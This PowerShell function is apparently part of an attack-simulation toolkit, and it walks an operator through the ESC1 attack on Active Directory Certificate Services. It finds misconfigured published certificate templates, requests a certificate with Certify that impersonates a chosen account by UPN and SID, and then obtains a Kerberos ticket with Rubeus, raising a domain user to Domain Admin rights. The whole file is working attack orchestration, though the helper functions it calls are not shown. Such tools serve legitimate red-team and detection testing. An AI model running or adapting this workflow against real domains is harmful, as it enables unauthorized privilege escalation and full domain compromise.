Private/Invoke-PrivilegeEscalationViaESC1.ps1

function Invoke-PrivilegeEscalationViaESC1 {

    ################################################################################
    ##### #####
    ##### Exploiting Misconfigured Certificate Templates (ESC1) #####
    ##### #####
    ################################################################################

    $CurrentFunction = Get-FunctionName
    Write-Log -Message "### Start Function $CurrentFunction ###"
    $StartRunTime = (Get-Date).ToString($Script:DateFormatLog)
    #################### main code | out- host ####################

    Update-WindowTitle -NewTitle $Script:Phase25
    Set-KeyValue -key "LastStage" -NewValue $Script:Phase25

    Do {
        If (-not $SkipClearHost) { Clear-Host }

        Invoke-Output -T Header -M "Exploiting Misconfigured Certificate Templates (ESC1)"
        Invoke-Output -T Bullet -M "This attack abuses a misconfigured AD CS certificate template that allows `n a domain user to escalate privileges to those of a Domain Admin."

        # http://attack.mitre.org/techniques/T1649/

        If ($UnAttended) {
            $answer = $No
        }
        else {
            $question = "Do you want to run this attack - Y or N? Default "
            $answer = Get-Answer -question $question -defaultValue $yes
        }

        If ($answer -eq $yes) {

            If (-not $SkipClearHost) { Clear-Host }
            Invoke-Output -Type Header -Message "Step 1 - Identify Misconfigured and (!) Published Certificate Templates"
            $CATemplate = Get-VulnerableCertificateTemplate

            Do {
                If (-not $SkipClearHost) { Clear-Host }
                $AlternativeAccountDN = Set-AlternativeAccount
                $AlternativeAccount = Get-ADUserDetailsBasedOnDN -DN $AlternativeAccountDN
                If (-not $UnAttended) { pause }
                If (-not $SkipClearHost) { Clear-Host }
                Invoke-Output -Type Header -Message "Step 3 - Request Certificate with Certify"
                Invoke-Output -T Bullet -M "Request a certificate from the vulnerable template by specifying the`n target account as UPN and SID in the certificate request."

                $PfxBase64 = Request-PfxWithCertify  -Certificate  $CAtemplate -AlternativeAccount $AlternativeAccount
                
                $question = "Would you like to repeat this attack phase? Please enter Y or N. Default "
                $repeat = Get-Answer -question $question -defaultValue $no

            } Until ($repeat -eq $no)

            Do {
                If (-not $SkipClearHost) { Clear-Host }

                Invoke-Output -Type Header -Message "Step 4 - Request a Ticket Granting Ticket (TGT) with Rubeus"
                Invoke-Output -T Bullet -M "Now we can request a TGT for the user for which we minted the new certificate."
                Request-TGTWithRubeus -pfxFile $PfxBase64 -AlternativeAccount $AlternativeAccount

                $question = "Would you like to repeat this attack phase? Please enter Y or N. Default "
                $repeat = Get-Answer -question $question -defaultValue $no

            } Until ($repeat -eq $no)

        } ##
        else {
            return
        }

        If (-not $SkipClearHost) { Clear-Host }

        Invoke-Output -T Header -M "??? REPEAT | Exploiting Misconfigured Certificate Templates (ESC1) ???"

    } Until ($repeat -eq $no)

    ######################## main code ############################
    $runtime = Get-RunTime -StartRunTime $StartRunTime
    Write-Log -Message " Run Time: $runtime [h] ###"
    Write-Log -Message "### End Function $CurrentFunction ###"
}